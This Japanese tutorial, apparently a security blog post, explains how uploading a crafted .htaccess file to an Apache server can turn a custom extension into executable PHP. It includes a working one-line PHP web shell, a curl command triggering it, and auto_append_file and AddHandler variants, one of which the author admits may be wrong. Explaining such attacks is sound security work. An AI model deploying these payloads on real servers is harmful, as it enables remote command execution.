.htaccessファイルを使ったファイルアップロード攻撃

始めに

ファイルアップロードによりweb上で任意のスクリプト実行に至る攻撃手法を紹介します。.htaccessファイルとはApacheで利用できる、ディレクトリ単位でwebサーバの設定をするための設定ファイルのことです。.htaccessを用いたファイルアップロード攻撃は次の要素が揃うと成立します。

  • Apacheを利用している。
  • アップロードしたファイルにアクセスできる。
  • アップロードしたファイルの種類チェックが不十分である。

また、この攻撃はスクリプトを実行できる拡張子(.php, .py等)がブラックリスト形式でブロックされている場面で役にたつと思われます。

攻撃手法

設定ファイルhttpd.confAllowOverrideディレクティブがALLと設定されている場合.htaccessファイルを用いた設定が制限なく行えます。このAllowOverrideディレクティブは2021/07/17現在CurrentとなっているApache version2.4では、デフォルトでALLとなっています。

ファイルアップロード機能を使い、.htaccessファイルをアップロードすることで、.htaccessファイルが保存されるディレクトリの設定を書き換えてしまうことができます。

【攻撃手順】
1. 次のような.htaccessをアップロードし、アップロード先のディレクトリの設定を変更します。この設定により拡張子.yarikomiphpの実行ファイルとして認識されるようになります。

AddType application/x-httpd-php .yarikomi

設定上アップロードしたファイルは/files/username/filenameというパスでアクセス可能とします。
2. 悪意のあるスクリプトrce.yarikomiをアップロードします。

<?php system($_GET['cmd']);?>

3. 悪意のあるスクリプトにアクセスすることで任意のコマンドを実行することができます。

$ curl http://vulnsite.com/files/attacker/script.yarikomi?cmd=ls

その他の攻撃手法

.htaccessを用いた攻撃手法は上記のようなAddTypeディレクティブを用いた方法以外にも複数存在します。

php_valueディレクティブを用いた攻撃手法

php_valueディレクティブを用いると、ChangeableがPHP_INI_PERDIRな項目を設定できます。 任意のスクリプトを実行するためにauto_prepend_fileまたはauto_append_fileの設定を利用することができます。

# .htaccessの設定例
AddType application/x-httpd-php .yarikomi
php_value auto_append_file /path/to/script.yarikomi

【攻撃手順】
1. 上記のような.htaccessをアップロードします。
2. 悪意のあるスクリプトscript.yarikomiをアップロードします。 3. エントリーポイントとなるentory_point.yarikomiをアップロードします。(auto_append_fileで設定したscript.yarikomiを実行させるために利用しているので中身はなんでも大丈夫です。)
4. entory_point.yarikomiにアクセスして,script.yarikomiを実行します。

AddHandlerディレクティブを用いた攻撃手法

# .htaccessの設定例
AddHandler php5-script .php

上記のような設定をした.htaccessを用いることで.phpという文字列の入ったファイルはphpの実行ファイルとして認識されるようになります。(このあたりもしかしたら嘘かもしれないです...)

参考資料

Insomnihack Teaser 2019 / l33t-hoster
How File Upload Forms are Used by Online Attackers